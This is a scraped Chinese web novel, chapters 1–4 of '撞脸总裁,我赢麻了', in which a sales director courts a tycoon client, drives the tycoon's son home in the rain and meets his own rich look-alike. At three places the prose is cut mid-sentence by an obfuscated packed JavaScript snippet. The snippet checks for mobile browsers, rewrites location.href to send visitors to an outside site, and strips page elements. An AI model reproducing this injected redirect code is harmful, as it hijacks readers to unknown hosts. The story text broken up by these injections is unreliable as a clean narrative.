《撞脸总裁,我赢麻了》 1. 第 1 章 暴雨倾盆。 泼墨般的天幕上挨挨挤挤数多庞大的乌云,闪电如同百丈长的白蛇一般在其中穿行而过,耳边雷声隆隆,如同象足踏于木板之上,轰轰发出沉闷的声响,令人无端心头一跳。 “雨下的好大。” 名城集团的大楼内,无数穿着衬衫或者套裙的都市白领在其中穿行,他们或行色匆匆,或侧头交谈,没有人注意到,会议室里还坐着一个对着落地窗外的大雨出神的男子。 他穿着蓝色的衬衫和黑色的西装裤子,一双大长腿自然地垂落在沙发边缘,手指轻轻搭在膝盖边缘,露出手腕处蓝色的手表表盘。 他的手指很长,白皙干净,骨节分明,右手中指处有一层薄薄的笔茧,指甲修剪的很整齐,整个人的精神面貌也如同他整个人一样,从容、整洁、干净。 他一直很安静地坐在会议室里,没有发出声响,只是偶尔抬手看着手表,似乎是在掐着时间等着谁。 时间一分一秒的过去,可能是等待的时间有些长了,他的眉头微微蹙起,指尖在膝盖上轻点着,唇微微抿起,微微露出嘴角边酒窝的痕迹。 怎么还不来? 正当连江雪等的有些难耐、忍不住站起身的时候,身边的会议门被人打开,一个穿着干练、容貌淡漠的女人走了进来。 她不含任何感情的视线在连江雪的身上扫了一眼,似含霜雪,并没有马上说话,一副很难相处的模样。 连江雪见状,在她打开门的那一刻就主动起身,走上前道: “andy姐,你来了。” 被叫做“andy”的女人闻言,原本不搀任何情绪的眼底,也不由得流露出淡淡的惊讶,道: “你知道我?” “你忘了,之前我来名城谈项目的时候,见过你一面。” 连江雪上前主动和他握手: “四年不见,你变了好多。” andy四年前还只是个刚进公司的小助理,没想到连江雪竟然记得她,眉眼禁不住缓和了一点,点头道: “我现在是阮总的助理。” 她说:“阮总今天临时要开会,开完会后去机场,今天你可能要白跑一趟了。” “........” 为了谈成这个项目,连江雪已经在这间会议室里等了快要一个小时了,听见阮总没空,如同当头被泼了一盆冷水,微微愣在原地。 身前的andy传达完上司的意思,转身就要走,但连江雪很快就反应过来,拿起手中的包,箭步上前,并没有拦住andy,而是站在她身边,紧跟着她走出会议室的门: “阮总的会什么时候结束?” andy看了他一眼。 平心而论,在名城摸爬滚打这么多年,andy的理智告诉她此刻最好不要多管闲事,以免被面前这个男人纠缠不休,但看着连江雪诚恳又俊秀的五官,她实在说不出什么狠话。 大部分人都不能对长得好看的人祛魅,尤其是连江雪在andy还是个实习生的时候就记住了她,andy叹了一口气,半晌还是道: “还不清楚。” 她顿了顿,在连江雪失望地垂下眼睫时,又补了一句,道: “但是阮总说要在一个半小时之后去机场。 连江雪算了算时间,随即对andy露出一个笑: “知道了,多谢andy姐!” 他没有再傻傻地等在会议室,而是站在公司的大门前,一边看着手表的时间,一边等待着阮总走出来。 没多久,果然有一辆黑色的迈巴赫看了过来,连江雪心中一紧,下意识抬起头看向电梯门,只听叮的一声,几秒钟之后,电梯门缓缓打开,一只脚抬出,再往上,果然是阮总那双威严冷峻的脸。 连江雪赶忙迎上去,来到阮总身边,和他前后隔着半步,跟着他往前走: “阮总,我知道你今天很忙,所以麻烦您给我半小时,我向您介绍一下我们公司的产品。” “我有急事。”阮总脚步不停,一个正眼都没有扫他: “下次吧。” 连江雪快步上前,给阮总拉开迈巴赫的车门,抬手挡在门前,道: “我理解您现在的心情,那就下次吧。” 在阮总坐进车里的那一刻,连江雪又眼疾手快地将一本关于介绍公司产品的册子和名片交给了阮总身边的andy,随即对两个人展颜一笑道: “我等您的通知。” 车门被关上,迈巴赫在连江雪的视线中扬长而去,在雨幕中留下破碎的车灯光线。 连江雪站在原地目送,直到迈巴赫完全离开视线范围之内后,才微微松垮了肩膀。 虽然今天没能签下单子,但是起码也不是全无收获,起码在阮总面前混了一个脸熟。 连江雪深吸一口气,随即站直身体,看了一眼时间,转过身,冒着雨,冲进了雨幕里。 他现在是在一家腾云科技公司当芯片销售总监,已经兢兢业业地干了八年,从二十二岁到三十岁,他在腾云奉献了自己的全部青春,上司允诺他,只要再签下和名城的单子,就和上面打报告,推荐他晋升为副总。 连江雪自己也老大不小了,作为一个三十岁的中年男人,他也有自己的事业心。 水往低处流人往高处走,没有人不想再往前走一步,为了当上副总,连江雪也是铆足劲儿往前冲,势必要签下和名城的单子,当上公司副总。 不过这名城的总裁阮总也确实是难见,连江雪也是碰了两次壁,还没真正的见到他。 没办法,腾云毕竟是一家规模不大的公司,能得到阮总青睐,才是事出有疑。 思及此,连江雪又忍不住在心里给自己打了气,安慰自己下次一定行,毕竟心诚所至,金石为开。 坐进驾驶室,他解下领带,松开一颗扣子透了透气,随即弯起衬衫袖子,露出一截有力的手臂,转动车钥匙,启动车子,往家的方向开去。 工作几年,他也有了一部分积蓄,出钱给家里买了房子,装修之后,还出钱给爸爸开了一家花店。 不过最近经济不景气,花店没开多久就倒闭了,后来连江雪又出钱给爸爸开了一家书店,结果不到半年,又倒闭了。 最后连江雪也实在是没招了,只能安慰爸爸在家休息也挺好的。 连江雪的爸爸身体不太好,要一直吃药,连江雪赚的钱也要出一部分给爸爸买药吃,所以这么多年下来,连江雪也没有赚到什么大钱,只能说尚且过的体面,不会被饿死,但再多的,也没有了。 爸爸的书店经营不善倒闭之后,连江雪就把自己的奔驰卖了,换成了电车比亚迪,好跑业务。 车帘快速驶过街道,车灯如同流光一般划过,连江雪一边想着白天没签下的单子,一边心不在焉的踩下油门。 正当绿灯亮起,他准备转过街角的时候,不远处忽然窜出一个人影,速度之快,眼看着就要直直撞上车头。 连江雪见状,瞳仁瞬间瞪大,猛地回神,身体先于意识,几乎是想也不想,就凭着本能猛地踩下刹车。 他后背重重撞在座椅上,大汗淋漓,回过神来之后,才从惊恐之中抬起头,看向不远处的人。 那人也被骤然响起的刹车声吓到了,一屁股坐在地上,整个身体挡在路中间,让连江雪无法继续通行。 他身上穿着不合时宜的厚外套,脸上戴着一个口罩,被车灯照的脸庞惨白,栗色的头发也被淋湿了,像是个无家可归的小狗,可怜极了,看起来也很害怕,握着倒地的行李箱,眯着眼睛仰头看着连江雪的比亚迪车身,身体微微发着抖。 连江雪用力喘了一口气,从镜子里观察路况后下了车,甩上车门,走向那个突然窜出来的人,道: “这里不是人行道,你忽然窜出来,很危险的,知不知道?” 那个人似乎也吓坏了,加上连江雪面无表情地抬高声音训他,他闻言,似乎也知道错了,一个劲儿地低头道歉,但是说的是外语,叽里咕噜的不知道是在说什么。 后面有车辆叭叭,不少司机从前面探出头来,问连江雪: “还走不走了?” 连江雪做了一个手势,示意自己马上会处理好,随即伸出手,将那坐在雨水里的人拉起来,往旁边走,顺带捋了一把湿淋淋的额发,露出饱满白皙的额头,道: “行了,这次就算了,我先走了,你自己注意安全。” 言罢,他就转身,往门口走去。 但他还未走下一秒,衣角就被人拉住,连江雪动作一顿,下意识转头,看向栗色头发的人,凝眉道: “.........怎么了?” 栗色头发的人眼神焦急,眼睛也湿漉漉的,伸出手,急切地比划,用了好几种语言,才勉强切换成连江雪听得懂的英文: “home........” “.......你想回家?”连江雪从上到下扫了一眼他的装扮,看着他质感不错的衣服,心想应该是什么大户人家的小公子偷跑出来体验生活了: “你家在哪?自己不会打车吗?” “........”小公子一脸迷茫地看着他,似乎是听不懂连江雪在说什么。 “滴滴滴——” “还走不走了!” 身后的车还在持续按着喇叭,连江雪被催的心烦,雨越下越大,遮住了他的视线,他只能放弃和小公子沟通,转身朝车里边走去。 他往车边走,小公子也往车里走,见连江雪拉开车门进了车内,小公子抿了抿唇,犹豫几秒,也坐了进去。 连江雪没想到他会跟上来,看了他一眼,道: “你怎么随便上陌生人的车?你爸妈没告诉你要对陌生人有警惕心吗?” 小公子摇了摇头,随即拿出手机,上面是他搜索的页面,是比亚迪的照片,随即他用蹩脚的中文道: “比亚迪......滴滴,可以坐。” 连江雪:“.............” 他无语:“你把我当成出租车司机了?” 小公子听不懂,但对连江雪露出一个腼腆的笑,口罩上方的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雨水声滴落在车窗上,连江雪听不清电话那头人传来的声音,只能察觉到小公子应该是和自己的亲人在聊天,也就不出声,默默当好一个司机,踩下油门,将小公子送到了清韵雅苑。 等到了地方,小公子解开安全带,面对连江雪,也不知道是用哪国语言倒了一声谢。 雨势不小,车保安亭前面就有人撑着伞走了过来,帮小公子打开车门,拿出了行李箱,搞得连江雪目瞪口呆,心想有钱人住的小区,服务就是比他这种老百姓好。 小公子很有礼貌,出了车门之后,微微弯腰,在车窗边又道了一声谢。 连江雪摆了摆手,径直驱车离开了。 雨幕中,他和一辆黑色的迈巴赫擦肩而过。 “papa!” 阮泽成一下车,一个湿哒哒的身体就扑进了他的怀里。 他低下头,见是自己的儿子,忍不住舒展了眉目,切换成Y语道: “不是让你在机场等着吗,怎么又自己跑出来了?” “飞机提早到了,不想麻烦爸爸,还想给妈妈一个惊喜。”阮寄情缓缓眨了眨眼睛,纤长的睫毛上沾着雨水,衬的眉目愈发精致漂亮。 “你身体不好,不要淋雨,快点进去。”阮泽成揽着阮寄情的肩膀,手臂摸到一件不合身的外套,有些疑惑道: “这件衣服.......” “是送我回来的好心人给我的!” 阮寄情说: “爸爸,他好帅呀!” “...........”面对犯花痴的儿子,阮泽成无语了几秒,随即道: “你这孩子,真是........” 他本来想说真是不懂社会的险恶,但阮寄情一个人在国外生活十八年,好不容易回来,他也舍不得说重话,只能叹了一口气,道: “先进去吧。” “嗯嗯!”阮寄情蹦蹦跳跳地往小区走去,身上披着的衣服抖动,掉落出一张名片,被风吹在地面上。 豆大的雨水滴落在名片上,阮泽成没注意,踩了一脚,才意识到不对,才低下头,下意识捡起那张名片。 名片的名字已经被污水和鞋印模糊了,看不清字,只能看见一个穿着白色西装的、容貌清俊周正的年轻人。 “腾云科技.......” 阮泽成脑海中闪过白天见过的一张模糊的人脸,不知道想到什么,转过身,对身边的司机道: “今天来找我的人,是不是他?” 司机看了一眼名片上的人脸,点了点头,道: “是。” “打电话给andy,让她再找个时间,约一下腾云科技的销售总监。”阮泽成声音淡淡,嗓音飘散在雨幕里: “就说...........我改主意了。” 2. 第 2 章 对于自己走之后发生的事情,连江雪一无所知。 他冒着大雨,将车开进地下停车场,随即从车上下来,顺手将湿淋淋的头发抹到头上。 他全身上下已经湿透了,甩上车门的时候,衣袖上的雨水还沾在了把手上。 “叮——”电梯门打开,连江雪走了进去,按下“21”的按钮。 这座小区是新建的,地理位置不算特别好,但价格仍然不便宜,一平方米价格大概要两万左右,对于连江雪来说,是不小的负担。 所以他只能努力打工,好早日把房贷还清,喘一口气。 电梯门打开,连江雪走出电梯间,往左走,随即走到门前,用指纹解锁,伴随着“欢迎回家”的电子音,连江雪打开了门,习惯性道: “爸,我回来了。” 屋子里静悄悄的,一片黑暗,没有人回应他。 连江雪微微皱了皱眉。 他换鞋的时候顺手打开灯,从玄关往客厅里走,正打算再叫一声爸爸,却没想到,在灯亮起的一瞬间,他看见连云里倒在地上,四肢以一种极其不自然的角度平铺在瓷砖上,眼珠失神地转动着,像是一个破碎散架的傀儡木偶。 连江雪吓了一大跳,顾不上什么,赶紧冲过去,把连云里扶起来,慌张道: “爸,你没事吧?!” 连云里躺在他怀里,在连江雪的呼唤下,似乎恢复了一点神志。 他缓缓眨了眨眼睛,瞳仁逐渐聚焦,听见连江雪的声音,似乎恢复了些许力气,轻轻点了点头,道: “没事。” 他停了几秒,又继续道: “可能是低血糖了。” 连江雪把他从地上扶起来,到沙发上坐下,看着连云里惨白的脸,有些担忧道: “爸爸,要不要送你去医院?” “不用,我没事。”连云里摆了摆手,看着浑身淋湿的连江雪,低声道:“你怎么回事?怎么全身都湿透了?” “跑业务的时候没带伞,在外面淋了一点雨。”连江雪没提刚才的事情,只道: “爸爸,你真的没事吗?” “真的没事。”连云里伸出手,慢慢锤着膝盖,不紧不慢道: “人年纪大了就什么毛病都有,不打紧的,明天我自己去医院看看。” “.......好吧,”连江雪说:“要不我请假一天,陪你去。” “不用,你工作这么忙,”连云里岔开话题,道: “这么晚回来,饿了吗?爸爸给你做饭吃好不好?” 连江雪犹豫片刻,随即点了点头: “有点饿。” “那你先去洗澡,我给你做饭吃。” 连云里伸出手推了推他,道: “快去吧。” 连江雪有些放心不下连云里,但身上湿哒哒的确实难受,犹豫几秒钟之后,还是起身,道: “那我先去洗澡,爸爸你要是有什么不舒服,就及时告诉我。” 连云里笑了笑,道:“知道了。” 他催促道:“快去换衣服吧,不然感冒了有你好受的。” 连江雪只能站起身,一步三回头地回房间去洗澡了。 沙发上的连云里缓了一会儿,直到右臂恢复力气,才拖着脚步,去厨房给连江雪煮面吃。 房子很安静,两室一厅一厨两卫,除了连江雪和连云里之外,没有别人住。 昏黄的灯带光柔柔地打下来,连江雪洗完澡出来的时候,发现厨房外面的餐桌上放着一碗鲜虾云吞面,还有一杯加热的牛奶。 而连云里的身影已经不见了,取而代之的是关闭的房屋门。 连江雪擦头发的一顿,将毛巾放在自己的脖颈上,也顾不上擦干净头发,坐在餐桌边,看着爸爸亲手做的面,忍不住缓和了眉目。 他从小就是由爸爸带大的,算是单亲家庭长大的孩子。 但是这么多年,连云里给他的爱不比正常家庭成长起来的孩子要少。 他还小的时候,爸爸就一边背着他一边做家务,后来长大一些了,爸爸背不动他了,就给他买很多玩具,让他在旁边玩,等他玩累了,就会有好吃的午餐等着自己。 连江雪不知道自己的母亲是谁,也不知道母亲是死了还是活着,更不知道爸爸和妈妈当年分开的原因是什么,但这不妨碍连江雪想要孝顺连云里的心。 只是这么多年,连云里的身体越来越不好,连江雪每次问,连云里都说是风湿之类的病症。 等自己签下这个单子,赚到大钱了,就休假带爸爸去国外的医院看看,或许对爸爸的病情有帮助。 思及此,连江雪拿起筷子,挑了几根面,低下头吃了起来。 吃完饭后,他回到了房间,休息至第二天八点钟,又在闹钟的“呼唤”下清醒了过来。 他昨天太累了,于是稍微赖了一会儿床,再醒来的时候发现快要迟到了,于是快速换好衣服。 他打开房间门走出去,发现早餐已经做好了,连云里正在阳台上给他晒衣服。 “爸,我走了。” 连江雪快来不及了,将餐盘上的三明治塞进口中,顺手拿起自己的包,冲着阳台上的连云里道: “中午我不回来吃饭。” “好。”连云里走出来,扶着阳台和客厅的连接门门框,对他笑道: “路上开车注意点。” “知道了。”连江雪咬着三明治出了门,坐着电梯一路下了楼,去了腾云科技。 将车开到公司楼下,因为快迟到,连江雪就随便在路边找个位子停了,然后紧赶慢赶进了公司大楼。 这几周他一直在外面跑业务,都没有怎么回到公司,刚踏进公司的大门,前台的小姐姐看到他,就下意识站起来,恭敬道: “连总监早上好。” “早上好。”连江雪面无表情地点了点头,随即走进了自己的办公室。 上午开了一个会,市场部和销售部根据这个月的利润情况又吵了架,大boss坐在上面,皱着眉头,看着财务的报表是,盯着连江雪和市场部的总监陈明贺看了一眼,没有说话。 明眼人都看得出来,副总位置空悬,大boss想在连江雪和陈明贺之间选一个。 连江雪这么多年确实给公司带来了很多的业绩和项目,但是陈明贺的资历比连江雪更老,而且背后还有点关系,所以大boss才会如此纠结。 连江雪对此心知肚明,知道越到关键时刻越要沉得住气,指尖转着笔,垂头做笔记,没有说不该说的话。 开完会后已经是中午,连江雪便去食堂吃饭。 他经常在外面跑业务,所以很少参与公司的团建,加上容貌清冷俊逸,看起来有些生人勿进,所以不熟悉他的人,都会以为他不太好相处,以至于吃饭的时候,没有人敢坐在他旁边。 连江雪也不在意,自己挑了喜欢吃的东西,走到靠窗的桌子边坐下吃饭。 他不参与这些公司的纷纷扰扰,公司却自有他的传说,下午他准备出去大boss办公室汇报工作的时候,就听见有人躲在茶水间里讨论他和陈明贺: “你们说,连总监和陈总监,谁更适合当副总?” “我更喜欢陈总,他对谁都是笑.......连总,我不熟悉,远远地看过一眼,长的帅是帅,但是看起来脾气不是很好的样子,而且一看就是斯文败类款的渣男。” “但是人家能力确实很强,不然怎么做到销售总监的位置的?” “说到这个,我有点奇怪,销售总监一个月应该蛮赚钱的,怎么连总监还开比亚迪?身上的行头也.......” “我听说连总监是单亲家庭长大的,爸爸好像还生了病,反正........” “叩叩叩——” 指节敲击木板的声音响起来,围在茶水间讨论的声音一顿,众人下意识转过头,只见连江雪站在茶水间门口,似笑非笑地看着他们: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听到连江雪的话,大boss也不自觉地直起了背,眼睛紧紧盯着连江雪的手机,似乎想知道里面的谈话内容。 “好的,好的,我一定准时到场。” 连江雪记下时间,挂断电话后,火速和领导汇报道: “阮总说今天下午愿意给我一个半小时,让我去他家里,陪他打高尔夫。” “好!”大boss显然也很高兴,道: “这世界上果然没有你连江雪拿不下的人。” 连江雪很虚伪地笑了一声,就听见大boss道: “等你拿下名城的单子,我就和总部打申请,把副总的位置给你。” 得了大boss的许诺,连江雪心情也好了一些,没再计较上司刚才的阴阳,说了几句话后,就匆匆忙忙地出去了。 阮泽成只给了他一个半小时,他要好好准备才行。 中午点外卖,随便应付了几口,加了班做材料,将U盘的材料都拷进平板里,连江雪看时间差不多了,也就从座椅背上拿好西装外套,拎着包往门外走去。 他本来想去开车,岂料刚走到公司对面的停车位上,就发现自己停在路边的车不知道什么时候已经被人撞了一个大坑,一个人正站在他的车边,挠着头,不知所措。 马上就要去客户家里,车却被撞了个大坑,连江雪气不打一处来,快步上前,抓住站在他车边的那个人的肩膀,提高声音道: “是你撞了我的车吗?” 听到他说话,那人回过头来,下意识将视线落在他身上,道: “是我。不好意思,我刚从国外回来,还不是很会开车......” 他话音还未落,在看清连江雪的脸时,瞳仁却骤然放大,倒映出连江雪同样错愕的脸庞。 连江雪眼睛眨也不眨,想说的话被堵在喉咙口,看着余光里被撞出一辆大坑的比亚迪,再看着面前这张和自己一模一样的脸,心里疑惑道今天到底是怎么了? 他......撞鬼了? 3. 第 3 章 怪事年年有,今年特别多。 先是回家路上差点撞到个外国人,后又是自己的爱车被人撞了个大坑,关键撞他车的人.......还和他长得一模一样。 难道他连江雪真的是流年不利,出门没看黄历? 连江雪瞪着面前这个人,面前这个人也在默默打量他。 他虽然和连江雪长得一模一样,但一身名牌,连江雪即便没吃过猪肉也见过猪跑,看得出他手腕上戴着的表,是百达翡丽。 低头看了看自己熬了一年,才咬牙狠心用年终奖买的浪琴表,连江雪心里默默酸了一把,随即开了口: “你是谁?为什么要撞我的车。” “.......不好意思,我来这里办点事。”面前的男人被连江雪的质问引回了神志,掏出手机,准备打电话: “要不,我让交警过来处理一下吧。” 连江雪也没招了,只能点头。 等待交警来的时候,和连江雪长得一模一样的人一直在看连江雪,连江雪被他看的毛毛的,忍不住问: “你看我做什么?” “嘿嘿,难得看到和自己长得像的人,就多看几眼。” 那人站在路边,顺手从口袋里拿出一个烟盒和打火机,抽出一根烟,在连江雪面前晃了晃: “抽一根吗,哥们儿?” 连江雪不喜欢抽烟,但是交际在外,难免要学着抽,正巧他心里烦着,便从善如流地接过烟,放在了唇边。 那人给自己点燃了烟后,又把打火机丢给了连江雪。 连江雪将打火机接住,拨动点烟的时候,发现打火机的机身甚至还镶着钻石。 连江雪:“..........” 该死的有钱人。 他猛地抽了一口烟,任由尼古丁从鼻腔蔓延至肺部。 交警来的很慢,连江雪等会儿还有约,眼看着要迟到,便频繁地低头看表。 那人见他似乎有急事,便主动走过去,道: “你待会儿是不是有事?要不你先去忙,我在这里等交警就好。” 连江雪下意识抬起头看他,想了想,道: “我等下要去见客户,车被撞成这样,开不过去,不然客户看到了,会多想。” 那些大客户都是注重身份的人,如果连江雪迟到了,还开一个被撞坏的比亚迪过去谈生意,他们少不得会觉得自己被轻视,那合作估计也会告吹。 “要不我还是打车吧。” 连江雪抬手看了一下手机,发现离见面的时间只有五十分钟了,要开到阮泽成的庄园,起码也要五十分钟,算上出租车过来的时间,肯定不够。 这下可糟糕了。 就在连江雪忍不住焦虑,大脑飞速转动,开始思考解决办法的时候,那人主动开了口,道: “这里赌,人流量大,不好打车,不如你先开我的车走,我在这里等交警,看怎么判定赔偿。” 言罢,那人将车钥匙丢了过来,连江雪定睛一看,是一个劳斯莱斯的车标: “我的车借你开,等你办完事了,再联系我吧。” 连江雪推脱:“这不太好吧.......” “没什么不好的,”那人粲然一笑,一双眼睛煜煜生辉: “是我撞坏了你的车嘛,还耽误了你的时间,当然要补偿你。” 言罢,他指了指自己的车,道: “快点去吧,不然等下迟到了,客户就等急了。” 连江雪也想不到更好的办法了,只能坐进车里,刚插上车钥匙,似乎又想起了什么,又将头探出来,看向那人: “你的联系方式可以给我吗?到时候我好换车。” “可以啊,这是我的名片。”那人将名片递了过来,连江雪急着走,没认真看,顺手将名片放进自己的兜里,随即将自己的名片也递了过去,作为交换,道: “上面有我的联系方式,后续的赔偿事宜,等我办完事再谈。” “好嘞!” 那人脆声应了。 连江雪一想到自己的大单子很快就要因为这场事故黄了,心中着急,也顾不上什么,赶紧脚踩油门,直接将车开走了。 不得不说,豪车就是豪车,就是比自己的比亚迪好开,连江雪一路上风驰电掣,终于赶到了阮氏的庄园。 他在自报家门后,管家给他开了大门,连江雪慢慢将车开进去,一路上路过巨大的草坪和喷泉,最后在一座豪华的庄园主楼面前停下。 连江雪下了车,将车钥匙交给管家,让管家开进停车场,随即在佣人的指引下,坐上接引车,去了庄园后面的私人高尔夫球场。 这家大的,从一个地方到另一个地方,还要用车接....... 连江雪还没见到阮泽成,额头上就冒出了豆大的汗,但也知道阮泽成肯定是放心他,不然不会让他进家门。 正胡思乱想着,高尔夫球场到了。 连江雪下了车,跟着佣人,转过走廊,终于走到了一个面向高尔夫球场的室内,阮泽成正穿着休闲的衣装,拿着高尔夫球杆,挥出一杆。 落地进洞。 “好球。” 连江雪一句话将阮泽成的注意力转移到他身上,阮泽成转过头,见连江雪来了,忍不住笑道: “迟到了。” “抱歉,阮总,路上发生了一些事情。” 连江雪主动上前,和阮泽成握手,“让您久等了。” “我还好,但我小儿子想见你。” 阮泽成话音未落,听见一阵嘈杂的脚步声,他视线往连江雪身后移动,不知道看到了谁,脸上的笑容更大了: “你看,一听到你来了,他就跑出来了。” “papa!”熟悉的音调从连江雪的身后传来,连江雪转过身,见一个穿着蓝色卫衣的人从外面跑来,一见阮泽成,就扑过去抱住了他。 他还保持着国外人的习惯,和家里人亲昵,连江雪正思忖着要不要用自己的蹩脚英文和阮家的小公子打招呼,那人就回过头来,对他弯起一双漂亮的杏眼,随即伸出手,直接抱住了他的脖颈。 “.......”连江雪没料到他会有这个举动,下意识僵立在原地,感受着小公子柔软的脸颊亲昵贴着自己的脸,一头栗色长发垂落下来,扫过他的脖颈和下意识抬起放在他腰侧、却迟迟没有落下的手掌。 索性,这个拥抱是礼节性的一触即分,小公子很快就收回了手,站在连江雪面前,用刚学的烫嘴中文,慢慢道: “你好,我叫,阮寄情。” 连江雪手脚都不知道往哪里放,凭着多年来的本能,礼貌道: “你好,我叫,连江雪。” 他也难得磕巴起来,阮寄情看着他笑,道: “你和爸爸,聊天,我在旁边,看。” 连江雪看着阮寄情,没把他和当初那个带着口罩的狼狈路人联系起来,所以根本不懂他的热情是从何而来,更不知道是阮寄情的原因才让阮泽成愿意见他一面,所以只当今天这是小公子被保护的太好所以对外人都无差别的友好,于是点了点头。 “来,陪我打一场。”阮泽成让人把高尔夫球杆递给连江雪,兴致勃勃道。 连江雪只能将公司产品介绍的词咽下,专心和阮泽成打起了高尔夫。 他今天穿的西装,影响了发挥,何况在客户面前,一向不要多出风头,连江雪巧妙地放了水,但又让阮泽成赢得很开心。 一小时后,两个人回了内屋休息。 阮泽成喜欢喝茶,连江雪便自告奋勇,坐在茶桌前,给阮泽成泡茶。 “这茶泡的不错。”阮泽成喝下茶之后,才想起来问连江雪的名字, “对了,你在公司是担任什么职务?怎么称呼。” “我在公司担任销售总监,您叫我小连就好。” 连江雪不敢怠慢,赶紧掏出衣服里的名片,递给阮泽成,阮泽成瞄了一眼,正想说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118166|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,阮寄情就在他们身边坐了下来,把两个人的注意力都吸引过去了: “水果,吃。” 阮寄情很感谢这个在雨夜把他送回家的男人,于是特意动手切了一盘果盘给连江雪,可惜他手艺不好,切的一盘乱七八糟的也不知道是什么东西。 阮泽成顺手将名片放在手边,看着果盘,凝眉道: “你身体不好,这种事情就不用亲自做了,万一切到手怎么办?你忘记你有凝血障碍了?” 阮寄情一腔热情被泼了冷水,闻言垂下眼睛,没精打采道: “哦..........” “阮总,小公子偶尔心血来潮做一做果盘,也挺好的,你看,切的还挺漂亮的。” 连江雪忙道: “水果还很甜。” 阮寄情闻言,眼睛慢慢亮了起来,看向连江雪,兴致勃勃道: “这是鸭子!这是兔子!” 连江雪违心道:“很可爱。” “是吗!”阮寄情可开心了,也顾不上阮泽成打击他的话,单手撑着下巴,笑眯眯道: 【你喜欢就好!】 阮泽成斜他一眼:“说中文。” 阮寄情闻言吐了吐舌头,老老实实说中文。 连江雪伺候完大的,又得伺候小的,好在他精通语言的艺术,把大的小的都顺毛顺的服服帖帖的,才开始进入正文,介绍他公司的产品。 阮泽成听的很认真,但是里面涉及太多的专业术语,阮寄情听不懂,由一开始的正襟危坐,变成了昏昏欲睡。 他后面干脆就不听了,趴在茶桌上睡觉,连江雪迟疑片刻,正思考着要不要说下去,就听见阮泽成对他说: “继续。” 连江雪只能按动平板,继续说。 一连说了快一个小时,连江雪口干舌燥的,但阮泽成的脸色始终淡淡的,让人捉摸不透他的意思。 “结束了?”见连江雪不讲了,阮泽成例行问了一句,等到连江雪点头,他才起身道: “今天就到这里吧。” 他说:“等有新的进展,我会让人通知贵公司的。” 连江雪知道事情急不得,于是便点了点头,直接收拾东西,离开了。 阮寄情醒来的时候,连江雪早就已经走的没影了,他从柔软的床上慢慢坐起身,揉了揉眼睛,等到意识到什么之后,瞳仁才倏然睁大,赶紧跳下床: “papa!” 他穿着拖鞋就匆匆冲下楼,站在楼梯口,看着悠然喝茶的阮泽成,气的头发都炸开了: “他走了!你怎么,不叫醒我!” “你睡得和猪似的,怎么叫你。” 阮泽成端着茶杯看电脑,瞥了他一眼: “收拾收拾,准备吃晚饭了。” 阮寄情噘着嘴,踢踢踏踏的走到他面前,挽住阮泽成的手臂,将头抵在阮泽成的肩膀上,道: “他叫什么名字?我都还没有问。” “名片在桌上,自己看。” 阮泽成用眼神示意了一下,阮寄情跟着他的视线,将目光落在桌上,看见那薄薄的名片,眼睛一亮,伸出手,将名片拿了起来,仔细看: “连......拂雪?” 名片上只有名字和照片,阮寄情看了看,将名片贴在自己的心口,开心道: “真好,我知道他名字了!我要报答他!” 言罢,他宝贝般捧着那张名片,顾不上吃饭,开开心心地上了楼,根据名片上留下的联系方式,笨手笨脚地添加连拂雪为微信好友。 【阮阮请求添加你为好友。】 叮咚! 手机震动了一下,连拂雪坐在车里,凝眉咬着棒棒糖,手里还拿着和连江雪互换的名片,翻来覆去地打量,听到动静,下意识瞄了一眼自己的手机屏幕,见有陌生人请求加他为好友,忍不住坐直了身体,点进去看那陌生人的头像和信息。 .........这人谁啊? 4. 第 4 章 连拂雪很快就点了拒绝。 也不知道是哪里来的阿猫阿狗,竟然想勾搭他? 没门。 作为风利集团的太子爷,江家唯一的继承人,连拂雪还是有这样的自信和自觉,对来历不明的人,绝对不轻信,也不结交。 果断拒绝了阮寄情的好友申请之后,连拂雪将连江雪的名片塞进小格子里,直接换挡踩下了油门,一路风驰电掣地往家里赶去。 被江韵书赶到容港来之后,他就只能离开自己那个几千平方米的豪宅,来到这个小区暂住。 江韵书发了话,不管他愿不愿意,都得回家继承家业,但鉴于他的工作能力,就从基层干起,先来到分公司,从副总干起。 副总........ 旁人努力几年才能达到的位置,但对于连拂雪来说,只是轻轻松松就能站到的地方。 可是........连拂雪并不想要这个位置! 连拂雪用指纹解锁了新家的门,打开灯,随即将自己摔进了沙发里。 他仰面躺着,看着头顶明亮的灯带,片刻后微微侧过身,蜷缩起来,看着客厅里被蒙上摆布的画板,片刻后轻轻叹了一口气。 他正思考着直接在沙发上睡一觉,还是洗了澡上床睡,裤兜里的手机就开始震动起来,打断了他的思绪。 连拂雪烦躁地轻啧一声,睁开眼睛,摸索着拿出手机,正准备挂掉,但当视线无意间落在来电人提示上的字时,却像是被闪电击中了一下,倏然坐起来。 他下意识拨了拨头发,理了理衬衫,把扣子一颗一颗扣好,遮住露出的胸膛,确认形容着装无误后,才深吸一口气,接通了电话: “喂,爸爸。” “嗯。”电话里的人声音低沉柔缓: “到容港了吗。” “到了。” 连拂雪说:“今天去了一趟腾云科技,见到了他们的老总。” “嗯,以后你就要和他共事了,要收敛脾气,多想他们学习。” 江韵书轻咳一声后道: “我年纪也不小了,以后江家的一切,都要交给你,你要好好学,学着怎么去管理一个集团和家族。” 